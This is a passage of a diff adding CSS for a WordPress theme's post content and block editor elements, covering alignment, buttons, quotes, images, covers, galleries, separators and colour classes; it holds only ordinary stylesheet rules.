+  .entry .entry-summary > * {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *,
+  .entry .entry-summary > * {
+    margin: 32px 0;
+  }
+}
+
+.entry .entry-content > * > *:first-child,
+.entry .entry-summary > * > *:first-child {
+  margin-top: 0;
+}
+
+.entry .entry-content > * > *:last-child,
+.entry .entry-summary > * > *:last-child {
+  margin-bottom: 0;
+}
+
+.entry .entry-content > *.alignwide,
+.entry .entry-summary > *.alignwide {
+  margin-left: auto;
+  margin-right: auto;
+  clear: both;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *.alignwide,
+  .entry .entry-summary > *.alignwide {
+    width: 100%;
+    max-width: 100%;
+  }
+}
+
+.entry .entry-content > *.alignfull,
+.entry .entry-summary > *.alignfull {
+  position: relative;
+  left: -1rem;
+  width: calc( 100% + (2 * 1rem));
+  max-width: calc( 100% + (2 * 1rem));
+  clear: both;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *.alignfull,
+  .entry .entry-summary > *.alignfull {
+    margin-top: calc(2 * 1rem);
+    margin-bottom: calc(2 * 1rem);
+    left: calc( -12.5% - 75px);
+    width: calc( 125% + 150px);
+    max-width: calc( 125% + 150px);
+  }
+}
+
+.entry .entry-content > *.alignleft,
+.entry .entry-summary > *.alignleft {
+  /*rtl:ignore*/
+  float: left;
+  max-width: calc(5 * (100vw / 12));
+  margin-top: 0;
+  margin-left: 0;
+  /*rtl:ignore*/
+  margin-right: 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *.alignleft,
+  .entry .entry-summary > *.alignleft {
+    max-width: calc(4 * (100vw / 12));
+    /*rtl:ignore*/
+    margin-right: calc(2 * 1rem);
+  }
+}
+
+.entry .entry-content > *.alignright,
+.entry .entry-summary > *.alignright {
+  /*rtl:ignore*/
+  float: right;
+  max-width: calc(5 * (100vw / 12));
+  margin-top: 0;
+  margin-right: 0;
+  /*rtl:ignore*/
+  margin-left: 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *.alignright,
+  .entry .entry-summary > *.alignright {
+    max-width: calc(4 * (100vw / 12));
+    margin-right: 0;
+    /*rtl:ignore*/
+    margin-left: calc(2 * 1rem);
+  }
+}
+
+.entry .entry-content > *.aligncenter,
+.entry .entry-summary > *.aligncenter {
+  margin-left: auto;
+  margin-right: auto;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *.aligncenter,
+  .entry .entry-summary > *.aligncenter {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content > *.aligncenter,
+  .entry .entry-summary > *.aligncenter {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *.aligncenter,
+  .entry .entry-summary > *.aligncenter {
+    margin-left: 0;
+    margin-right: 0;
+  }
+}
+
+/*
+ * Unset nested content selector styles
+ * - Prevents layout styles from cascading too deeply
+ * - helps with plugin compatibility
+ */
+.entry .entry-content .entry-content,
+.entry .entry-content .entry-summary,
+.entry .entry-content .entry,
+.entry .entry-summary .entry-content,
+.entry .entry-summary .entry-summary,
+.entry .entry-summary .entry {
+  margin: inherit;
+  max-width: inherit;
+  padding: inherit;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .entry-content,
+  .entry .entry-content .entry-summary,
+  .entry .entry-content .entry,
+  .entry .entry-summary .entry-content,
+  .entry .entry-summary .entry-summary,
+  .entry .entry-summary .entry {
+    margin: inherit;
+    max-width: inherit;
+    padding: inherit;
+  }
+}
+
+.entry .entry-content p.has-background {
+  padding: 20px 30px;
+}
+
+.entry .entry-content .wp-block-audio {
+  width: 100%;
+}
+
+.entry .entry-content .wp-block-audio audio {
+  width: 100%;
+}
+
+.entry .entry-content .wp-block-audio.alignleft audio,
+.entry .entry-content .wp-block-audio.alignright audio {
+  max-width: 198px;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-audio.alignleft audio,
+  .entry .entry-content .wp-block-audio.alignright audio {
+    max-width: 384px;
+  }
+}
+
+@media only screen and (min-width: 1379px) {
+  .entry .entry-content .wp-block-audio.alignleft audio,
+  .entry .entry-content .wp-block-audio.alignright audio {
+    max-width: 385.44px;
+  }
+}
+
+.entry .entry-content .wp-block-video video {
+  width: 100%;
+}
+
+.entry .entry-content .wp-block-button .wp-block-button__link {
+  transition: background 150ms ease-in-out;
+  border: none;
+  font-size: 0.88889em;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  line-height: 1.2;
+  box-sizing: border-box;
+  font-weight: bold;
+  text-decoration: none;
+  padding: 0.76rem 1rem;
+  outline: none;
+  outline: none;
+}
+
+.entry .entry-content .wp-block-button .wp-block-button__link:not(.has-background) {
+  background-color: #0073aa;
+}
+
+.entry .entry-content .wp-block-button .wp-block-button__link:not(.has-text-color) {
+  color: white;
+}
+
+.entry .entry-content .wp-block-button .wp-block-button__link:hover {
+  color: white;
+  background: #111;
+  cursor: pointer;
+}
+
+.entry .entry-content .wp-block-button .wp-block-button__link:focus {
+  color: white;
+  background: #111;
+  outline: thin dotted;
+  outline-offset: -4px;
+}
+
+.entry .entry-content .wp-block-button:not(.is-style-squared) .wp-block-button__link {
+  border-radius: 5px;
+}
+
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link,
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:focus,
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:active {
+  transition: all 150ms ease-in-out;
+  border-width: 2px;
+  border-style: solid;
+}
+
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:not(.has-background),
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:focus:not(.has-background),
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:active:not(.has-background) {
+  background: transparent;
+}
+
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:not(.has-text-color),
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:focus:not(.has-text-color),
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:active:not(.has-text-color) {
+  color: #0073aa;
+  border-color: currentColor;
+}
+
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:hover {
+  color: white;
+  border-color: #111;
+}
+
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:hover:not(.has-background) {
+  color: #111;
+}
+
+.entry .entry-content .wp-block-archives,
+.entry .entry-content .wp-block-categories,
+.entry .entry-content .wp-block-latest-posts {
+  padding: 0;
+  list-style: none;
+}
+
+.entry .entry-content .wp-block-archives li,
+.entry .entry-content .wp-block-categories li,
+.entry .entry-content .wp-block-latest-posts li {
+  color: #767676;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: calc(22px * 1.125);
+  font-weight: bold;
+  line-height: 1.2;
+  padding-bottom: 0.75rem;
+}
+
+.entry .entry-content .wp-block-archives li.menu-item-has-children, .entry .entry-content .wp-block-archives li:last-child,
+.entry .entry-content .wp-block-categories li.menu-item-has-children,
+.entry .entry-content .wp-block-categories li:last-child,
+.entry .entry-content .wp-block-latest-posts li.menu-item-has-children,
+.entry .entry-content .wp-block-latest-posts li:last-child {
+  padding-bottom: 0;
+}
+
+.entry .entry-content .wp-block-archives li a,
+.entry .entry-content .wp-block-categories li a,
+.entry .entry-content .wp-block-latest-posts li a {
+  text-decoration: none;
+}
+
+.entry .entry-content .wp-block-archives.aligncenter,
+.entry .entry-content .wp-block-categories.aligncenter {
+  text-align: center;
+}
+
+.entry .entry-content .wp-block-categories ul {
+  padding-top: 0.75rem;
+}
+
+.entry .entry-content .wp-block-categories li ul {
+  list-style: none;
+  padding-left: 0;
+}
+
+.entry .entry-content .wp-block-categories ul {
+  counter-reset: submenu;
+}
+
+.entry .entry-content .wp-block-categories ul > li > a::before {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: normal;
+  content: "– " counters(submenu, "– ", none);
+  counter-increment: submenu;
+}
+
+.entry .entry-content .wp-block-latest-posts.is-grid li {
+  border-top: 2px solid #ccc;
+  padding-top: 1rem;
+  margin-bottom: 2rem;
+}
+
+.entry .entry-content .wp-block-latest-posts.is-grid li a:after {
+  content: '';
+}
+
+.entry .entry-content .wp-block-latest-posts.is-grid li:last-child {
+  margin-bottom: auto;
+}
+
+.entry .entry-content .wp-block-latest-posts.is-grid li:last-child a:after {
+  content: '';
+}
+
+.entry .entry-content .wp-block-preformatted {
+  font-size: 0.71111em;
+  line-height: 1.8;
+  padding: 1rem;
+}
+
+.entry .entry-content .wp-block-verse {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-size: 22px;
+  line-height: 1.8;
+}
+
+.entry .entry-content .has-drop-cap:not(:focus):first-letter {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 3.375em;
+  line-height: 1;
+  font-weight: bold;
+  margin: 0 0.25em 0 0;
+}
+
+.entry .entry-content .wp-block-pullquote {
+  border-color: transparent;
+  border-width: 2px;
+  padding: 1rem;
+}
+
+.entry .entry-content .wp-block-pullquote blockquote {
+  color: #111;
+  border: none;
+  margin-top: calc(4 * 1rem);
+  margin-bottom: calc(4.33 * 1rem);
+  margin-right: 0;
+  padding-left: 0;
+}
+
+.entry .entry-content .wp-block-pullquote p {
+  font-size: 1.6875em;
+  font-style: italic;
+  line-height: 1.3;
+  margin-bottom: 0.5em;
+  margin-top: 0.5em;
+}
+
+.entry .entry-content .wp-block-pullquote p em {
+  font-style: normal;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-pullquote p {
+    font-size: 2.25em;
+  }
+}
+
+.entry .entry-content .wp-block-pullquote cite {
+  display: inline-block;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  line-height: 1.6;
+  text-transform: none;
+  color: #767676;
+  /*
+			 * This requires a rem-based font size calculation instead of our normal em-based one,
+			 * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
+			 */
+  font-size: calc(1rem / (1.25 * 1.125));
+}
+
+.entry .entry-content .wp-block-pullquote.alignleft, .entry .entry-content .wp-block-pullquote.alignright {
+  width: 100%;
+  padding: 0;
+}
+
+.entry .entry-content .wp-block-pullquote.alignleft blockquote, .entry .entry-content .wp-block-pullquote.alignright blockquote {
+  margin: 1rem 0;
+  padding: 0;
+  text-align: left;
+  max-width: 100%;
+}
+
+.entry .entry-content .wp-block-pullquote.alignleft blockquote p:first-child, .entry .entry-content .wp-block-pullquote.alignright blockquote p:first-child {
+  margin-top: 0;
+}
+
+.entry .entry-content .wp-block-pullquote.is-style-solid-color {
+  background-color: #0073aa;
+  padding-left: 0;
+  padding-right: 0;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-pullquote.is-style-solid-color {
+    padding-left: 10%;
+    padding-right: 10%;
+  }
+}
+
+.entry .entry-content .wp-block-pullquote.is-style-solid-color p {
+  font-size: 1.6875em;
+  line-height: 1.3;
+  margin-bottom: 0.5em;
+  margin-top: 0.5em;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-pullquote.is-style-solid-color p {
+    font-size: 2.25em;
+  }
+}
+
+.entry .entry-content .wp-block-pullquote.is-style-solid-color a {
+  color: #fff;
+}
+
+.entry .entry-content .wp-block-pullquote.is-style-solid-color cite {
+  color: inherit;
+}
+
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote {
+  max-width: 100%;
+  color: #fff;
+  padding-left: 0;
+  margin-left: 1rem;
+  margin-right: 1rem;
+}
+
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-text-color p,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-text-color a, .entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-primary-color, .entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-secondary-color, .entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-dark-gray-color, .entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-light-gray-color, .entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-white-color {
+  color: inherit;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote {
+    margin-left: 0;
+    margin-right: 0;
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-pullquote.is-style-solid-color.alignright, .entry .entry-content .wp-block-pullquote.is-style-solid-color.alignleft {
+    padding: 1rem calc(2 * 1rem);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-pullquote.is-style-solid-color.alignfull {
+    padding-left: calc(10% + 58px + (2 * 1rem));
+    padding-right: calc(10% + 58px + (2 * 1rem));
+  }
+}
+
+.entry .entry-content .wp-block-quote:not(.is-large), .entry .entry-content .wp-block-quote:not(.is-style-large) {
+  border-left: 2px solid #0073aa;
+  padding-top: 0;
+  padding-bottom: 0;
+}
+
+.entry .entry-content .wp-block-quote p {
+  font-size: 1em;
+  font-style: normal;
+  line-height: 1.8;
+}
+
+.entry .entry-content .wp-block-quote cite {
+  /*
+			 * This requires a rem-based font size calculation instead of our normal em-based one,
+			 * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
+			 */
+  font-size: calc(1rem / (1.25 * 1.125));
+}
+
+.entry .entry-content .wp-block-quote.is-large, .entry .entry-content .wp-block-quote.is-style-large {
+  margin: 1rem 0;
+  padding: 0;
+  border-left: none;
+}
+
+.entry .entry-content .wp-block-quote.is-large p, .entry .entry-content .wp-block-quote.is-style-large p {
+  font-size: 1.6875em;
+  line-height: 1.4;
+  font-style: italic;
+}
+
+.entry .entry-content .wp-block-quote.is-large cite,
+.entry .entry-content .wp-block-quote.is-large footer, .entry .entry-content .wp-block-quote.is-style-large cite,
+.entry .entry-content .wp-block-quote.is-style-large footer {
+  /*
+				 * This requires a rem-based font size calculation instead of our normal em-based one,
+				 * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
+				 */
+  font-size: calc(1rem / (1.25 * 1.125));
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-quote.is-large, .entry .entry-content .wp-block-quote.is-style-large {
+    margin: 1rem 0;
+    padding: 1rem 0;
+  }
+  .entry .entry-content .wp-block-quote.is-large p, .entry .entry-content .wp-block-quote.is-style-large p {
+    font-size: 1.6875em;
+  }
+}
+
+.entry .entry-content .wp-block-image {
+  max-width: 100%;
+}
+
+.entry .entry-content .wp-block-image img {
+  display: block;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-image .aligncenter {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content .wp-block-image .aligncenter {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-image .aligncenter {
+    margin: 0;
+    width: calc(8 * (100vw / 12) - 28px);
+  }
+  .entry .entry-content .wp-block-image .aligncenter img {
+    margin: 0 auto;
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content .wp-block-image .aligncenter {
+    width: calc(6 * (100vw / 12) - 28px);
+  }
+  .entry .entry-content .wp-block-image .aligncenter img {
+    margin: 0 auto;
+  }
+}
+
+.entry .entry-content .wp-block-image.alignfull img {
+  width: 100vw;
+  max-width: calc( 100% + (2 * 1rem));
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-image.alignfull img {
+    max-width: calc( 125% + 150px);
+    margin-left: auto;
+    margin-right: auto;
+  }
+}
+
+.entry .entry-content .wp-block-cover-image,
+.entry .entry-content .wp-block-cover {
+  position: relative;
+  min-height: 430px;
+  padding: 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-cover-image,
+  .entry .entry-content .wp-block-cover {
+    padding: 1rem 10%;
+  }
+}
+
+.entry .entry-content .wp-block-cover-image .wp-block-cover-image-text,
+.entry .entry-content .wp-block-cover-image .wp-block-cover-text,
+.entry .entry-content .wp-block-cover-image h2,
+.entry .entry-content .wp-block-cover .wp-block-cover-image-text,
+.entry .entry-content .wp-block-cover .wp-block-cover-text,
+.entry .entry-content .wp-block-cover h2 {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 1.6875em;
+  font-weight: bold;
+  line-height: 1.25;
+  padding: 0;
+  color: #fff;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-cover-image .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover-image .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover-image h2,
+  .entry .entry-content .wp-block-cover .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover h2 {
+    font-size: 2.25em;
+    max-width: 100%;
+  }
+}
+
+.entry .entry-content .wp-block-cover-image.alignleft, .entry .entry-content .wp-block-cover-image.alignright,
+.entry .entry-content .wp-block-cover.alignleft,
+.entry .entry-content .wp-block-cover.alignright {
+  width: 100%;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-cover-image.alignleft, .entry .entry-content .wp-block-cover-image.alignright,
+  .entry .entry-content .wp-block-cover.alignleft,
+  .entry .entry-content .wp-block-cover.alignright {
+    padding: 1rem calc(2 * 1rem);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-cover-image.alignfull .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover-image.alignfull .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover-image.alignfull h2,
+  .entry .entry-content .wp-block-cover.alignfull .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover.alignfull .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover.alignfull h2 {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content .wp-block-cover-image.alignfull .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover-image.alignfull .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover-image.alignfull h2,
+  .entry .entry-content .wp-block-cover.alignfull .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover.alignfull .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover.alignfull h2 {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-cover-image.alignfull,
+  .entry .entry-content .wp-block-cover.alignfull {
+    padding-left: calc(10% + 58px + (2 * 1rem));
+    padding-right: calc(10% + 58px + (2 * 1rem));
+  }
+  .entry .entry-content .wp-block-cover-image.alignfull .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover-image.alignfull .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover-image.alignfull h2,
+  .entry .entry-content .wp-block-cover.alignfull .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover.alignfull .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover.alignfull h2 {
+    padding: 0;
+  }
+}
+
+.entry .entry-content .wp-block-gallery {
+  list-style-type: none;
+  padding-left: 0;
+}
+
+.entry .entry-content .wp-block-gallery .blocks-gallery-image:last-child,
+.entry .entry-content .wp-block-gallery .blocks-gallery-item:last-child {
+  margin-bottom: 16px;
+}
+
+.entry .entry-content .wp-block-gallery figcaption a {
+  color: #fff;
+}
+
+.entry .entry-content .wp-block-audio figcaption,
+.entry .entry-content .wp-block-video figcaption,
+.entry .entry-content .wp-block-image figcaption,
+.entry .entry-content .wp-block-gallery .blocks-gallery-image figcaption,
+.entry .entry-content .wp-block-gallery .blocks-gallery-item figcaption {
+  font-size: 0.71111em;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  line-height: 1.6;
+  margin: 0;
+  padding: 0.5rem;
+  text-align: center;
+}
+
+.entry .entry-content .wp-block-separator,
+.entry .entry-content hr {
+  background-color: #767676;
+  border: 0;
+  height: 2px;
+  margin-bottom: 2rem;
+  margin-top: 2rem;
+  max-width: 2.25em;
+  text-align: left;
+  /* Remove duplicate rule-line when a separator
+		 * is followed by an H1, or H2 */
+}
+
+.entry .entry-content .wp-block-separator.is-style-wide,
+.entry .entry-content hr.is-style-wide {
+  max-width: 100%;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-separator.is-style-wide,
+  .entry .entry-content hr.is-style-wide {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content .wp-block-separator.is-style-wide,
+  .entry .entry-content hr.is-style-wide {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+.entry .entry-content .wp-block-separator.is-style-dots,
+.entry .entry-content hr.is-style-dots {
+  max-width: 100%;
+  background-color: inherit;
+  border: inherit;
+  height: inherit;
+  text-align: center;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-separator.is-style-dots,
+  .entry .entry-content hr.is-style-dots {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content .wp-block-separator.is-style-dots,
+  .entry .entry-content hr.is-style-dots {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+.entry .entry-content .wp-block-separator.is-style-dots:before,
+.entry .entry-content hr.is-style-dots:before {
+  color: #767676;
+  font-size: 1.6875em;
+  letter-spacing: 0.88889em;
+  padding-left: 0.88889em;
+}
+
+.entry .entry-content .wp-block-separator + h1:before,
+.entry .entry-content .wp-block-separator + h2:before,
+.entry .entry-content hr + h1:before,
+.entry .entry-content hr + h2:before {
+  display: none;
+}
+
+.entry .entry-content .wp-block-embed-twitter {
+  word-break: break-word;
+}
+
+.entry .entry-content .wp-block-table th,
+.entry .entry-content .wp-block-table td {
+  border-color: #767676;
+}
+
+.entry .entry-content .wp-block-file {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+}
+
+.entry .entry-content .wp-block-file .wp-block-file__button {
+  display: table;
+  transition: background 150ms ease-in-out;
+  border: none;
+  border-radius: 5px;
+  background: #0073aa;
+  font-size: 22px;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  line-height: 1.2;
+  text-decoration: none;
+  font-weight: bold;
+  padding: 0.75rem 1rem;
+  color: #fff;
+  margin-left: 0;
+  margin-top: calc(0.75 * 1rem);
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content .wp-block-file .wp-block-file__button {
+    font-size: 22px;
+    padding: 0.875rem 1.5rem;
+  }
+}
+
+.entry .entry-content .wp-block-file .wp-block-file__button:hover {
+  background: #111;
+  cursor: pointer;
+}
+
+.entry .entry-content .wp-block-file .wp-block-file__button:focus {
+  background: #111;
+  outline: thin dotted;
+  outline-offset: -4px;
+}
+
+.entry .entry-content .wp-block-code {
+  border-radius: 0;
+}
+
+.entry .entry-content .wp-block-code code {
+  font-size: 1.125em;
+  white-space: pre-wrap;
+  word-break: break-word;
+}
+
+.entry .entry-content .wp-block-columns.alignfull {
+  padding-left: 1rem;
+  padding-right: 1rem;
+}
+
+@media only screen and (min-width: 600px) {
+  .entry .entry-content .wp-block-columns {
+    flex-wrap: nowrap;
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-columns .wp-block-column > *:first-child {
+    margin-top: 0;
+  }
+  .entry .entry-content .wp-block-columns .wp-block-column > *:last-child {
+    margin-bottom: 0;
+  }
+  .entry .entry-content .wp-block-columns[class*='has-'] > * {
+    margin-right: 1rem;
+  }
+  .entry .entry-content .wp-block-columns[class*='has-'] > *:last-child {
+    margin-right: 0;
+  }
+  .entry .entry-content .wp-block-columns.alignfull,
+  .entry .entry-content .wp-block-columns.alignfull .wp-block-column {
+    padding-left: calc(2 * 1rem);
+    padding-right: calc(2 * 1rem);
+  }
+}
+
+.entry .entry-content .wp-block-latest-comments .wp-block-latest-comments__comment-meta {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-weight: bold;
+}
+
+.entry .entry-content .wp-block-latest-comments .wp-block-latest-comments__comment-meta .wp-block-latest-comments__comment-date {
+  font-weight: normal;
+}
+
+.entry .entry-content .wp-block-latest-comments .wp-block-latest-comments__comment,
+.entry .entry-content .wp-block-latest-comments .wp-block-latest-comments__comment-date,
+.entry .entry-content .wp-block-latest-comments .wp-block-latest-comments__comment-excerpt p {
+  font-size: inherit;
+}
+
+.entry .entry-content .wp-block-latest-comments.has-dates .wp-block-latest-comments__comment-date {
+  font-size: 0.71111em;
+}
+
+.entry .entry-content .has-small-font-size {
+  font-size: 0.88889em;
+}
+
+.entry .entry-content .has-normal-font-size {
+  font-size: 1.125em;
+}
+
+.entry .entry-content .has-large-font-size {
+  font-size: 1.6875em;
+}
+
+.entry .entry-content .has-huge-font-size {
+  font-size: 2.25em;
+}
+
+.entry .entry-content .has-primary-background-color,
+.entry .entry-content .has-secondary-background-color,
+.entry .entry-content .has-dark-gray-background-color,
+.entry .entry-content .has-light-gray-background-color {
+  color: #fff;
+}
+
+.entry .entry-content .has-primary-background-color p,
+.entry .entry-content .has-primary-background-color h1,
+.entry .entry-content .has-primary-background-color h2,
+.entry .entry-content .has-primary-background-color h3,
+.entry .entry-content .has-primary-background-color h4,
+.entry .entry-content .has-primary-background-color h5,
+.entry .entry-content .has-primary-background-color h6,
+.entry .entry-content .has-primary-background-color a,
+.entry .entry-content .has-secondary-background-color p,
+.entry .entry-content .has-secondary-background-color h1,
+.entry .entry-content .has-secondary-background-color h2,
+.entry .entry-content .has-secondary-background-color h3,
+.entry .entry-content .has-secondary-background-color h4,
+.entry .entry-content .has-secondary-background-color h5,
+.entry .entry-content .has-secondary-background-color h6,
+.entry .entry-content .has-secondary-background-color a,
+.entry .entry-content .has-dark-gray-background-color p,
+.entry .entry-content .has-dark-gray-background-color h1,
+.entry .entry-content .has-dark-gray-background-color h2,
+.entry .entry-content .has-dark-gray-background-color h3,
+.entry .entry-content .has-dark-gray-background-color h4,
+.entry .entry-content .has-dark-gray-background-color h5,
+.entry .entry-content .has-dark-gray-background-color h6,
+.entry .entry-content .has-dark-gray-background-color a,
+.entry .entry-content .has-light-gray-background-color p,
+.entry .entry-content .has-light-gray-background-color h1,
+.entry .entry-content .has-light-gray-background-color h2,
+.entry .entry-content .has-light-gray-background-color h3,
+.entry .entry-content .has-light-gray-background-color h4,
+.entry .entry-content .has-light-gray-background-color h5,
+.entry .entry-content .has-light-gray-background-color h6,
+.entry .entry-content .has-light-gray-background-color a {
+  color: #fff;
+}
+
+.entry .entry-content .has-white-background-color {
+  color: #111;
+}
+
+.entry .entry-content .has-white-background-color p,
+.entry .entry-content .has-white-background-color h1,
+.entry .entry-content .has-white-background-color h2,
+.entry .entry-content .has-white-background-color h3,
+.entry .entry-content .has-white-background-color h4,
+.entry .entry-content .has-white-background-color h5,
+.entry .entry-content .has-white-background-color h6,
+.entry .entry-content .has-white-background-color a {
+  color: #111;
+}
+
+.entry .entry-content .has-primary-background-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color.has-primary-background-color {
+  background-color: #0073aa;
+}
+
+.entry .entry-content .has-secondary-background-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color.has-secondary-background-color {
+  background-color: #005177;
+}
+
+.entry .entry-content .has-dark-gray-background-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color.has-dark-gray-background-color {
+  background-color: #111;
+}
+
+.entry .entry-content .has-light-gray-background-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color.has-light-gray-background-color {
+  background-color: #767676;
+}
+
+.entry .entry-content .has-white-background-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color.has-white-background-color {
+  background-color: #FFF;
+}
+
+.entry .entry-content .has-primary-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-primary-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-primary-color p {
+  color: #0073aa;
+}
+
+.entry .entry-content .has-secondary-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-secondary-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-secondary-color p {
